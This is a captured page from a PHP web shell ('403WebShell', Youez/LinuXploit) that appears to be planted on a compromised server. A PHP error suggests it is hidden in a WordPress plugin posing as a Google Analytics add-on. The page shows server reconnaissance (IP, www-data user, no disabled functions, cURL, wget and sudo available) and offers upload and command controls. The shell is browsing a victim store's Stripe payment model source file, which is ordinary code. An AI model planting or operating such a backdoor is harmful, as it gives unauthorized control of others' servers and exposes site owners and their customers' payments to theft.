Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/storeStripe/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/storeStripe/model/stripe_model.php
<?php

class Stripe_model extends Database_Model {

	protected $orderdata;
	protected $pk;
	protected $sk;
	private $currency = 'usd';
	private $model_order;
	private $node;
	const PAYMETH = 'stripe';

	public function ModelOrder() {
		if (func_num_args()) {
			$this->model_order = func_get_arg(0);
			return $this;
		}
		return $this->model_order;
	}

	public function Currency() {
		if (func_num_args()) {
			$this->currency = strtolower(func_get_arg(0));
			return $this;
		}
		return $this->currency;
	}

	public function PublishedKey() {
		if (func_num_args()) {
			$this->pk = func_get_arg(0);
			return $this;
		}
		return $this->pk;
	}

	public function SecretKey() {
		if (func_num_args()) {
			$this->sk = func_get_arg(0);
			return $this;
		}
		return $this->sk;
	}
	
	public function OrderData($orderdata) {
		$this->orderdata = $orderdata;
		return $this;
	}
	
	public function InitializeSession() {
		$data = [];
		// get invoice total
		$value = intval($this->orderdata['totalamt'] * 100);
		if ($value < 50) $value = 50;
		// do we have a token (session)
		
		$stripe = new \Stripe\StripeClient($this->sk);
		$key = 'stripe_' . $this->orderdata['order_id'];
		$old_value = $_SESSION[$key]['value'] ?? 0;
		$old_secret = $_SESSION[$key]['secret'] ?? '';
		if ($old_value != $value || $old_secret == '') {
			
			// Create a PaymentIntent with amount and currency
			$paymentIntent = $stripe->paymentIntents->create([
				'amount' => $value,			// value in cents
				'currency' => $this->currency,
				'automatic_payment_methods' => [
					'enabled' => false,
				],
				'payment_method_types' => ['card', 'amazon_pay'],
/*
  'metadata' => [
        "lastname" => $item->name,
        "email" => $item->email,
        ],				
*/				
			]);
			
			$old_value = $_SESSION[$key]['value'] = $value;
			$old_secret = $_SESSION[$key]['secret'] = $paymentIntent->client_secret;
		}
		$data['clientSecret'] = $old_secret;
		$data['publishedKey'] = $this->pk;
		return $data;
	}

	public function finalizeOrder($payment_intent) {
		$order_id = $this->model_order->OrderId();
		$stripe = new \Stripe\StripeClient($this->sk);
		$this->node = [ 'status' => 'bad' ];
		try {
			$paymentIntent = $stripe->paymentIntents->retrieve($payment_intent, [] );
			
			$this->node = [
				'live' 		=> $paymentIntent->livemode,
				'amount'	=> $paymentIntent->amount_received / 100,
				'status'	=> $paymentIntent->status,
				'created'	=> $paymentIntent->created,
			];
			
		} catch (\Stripe\Exception\ApiErrorException $e) {
			// Handle API errors
			echo 'Error: ' . $e->getMessage();
		}
			// the order is confirmed and paid
		if ($this->node['status'] == 'succeeded' && $order_id ) {
			$this->model_order->PayMeth(static::PAYMETH);
			$this->TableName('store_order')
				->InsertOrUpdate(['so_order' => $order_id], [ 'so_paymeth' => static::PAYMETH ]);
			
			
			$post = [
				'o_terms' => 1,			// agree to terms
			];
			$settings = [];
			return hook_execute('order.update.confirm', [], $order_id, $post, $settings);

		}
		return $this->node['status'];
	}
	
	public function approveStep() {
		// change order status to 'paid'
		$param = new StdClass;
		$param->status	 	= 'paid';
//		$param->paymeth		= static::PAYMETH;		// this needs to be set earlier
		$param->order_id 	= $this->model_order->OrderId();
		$param->address  	= $this->model_order->Delivery();
		$param->test 		= $this->node['live'] ? 0 : 1;
//		file_put_contents('/phil/approve', json_encode($param, JSON_UNESCAPED_SLASHES));
		hook_execute('order.update', $param);
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit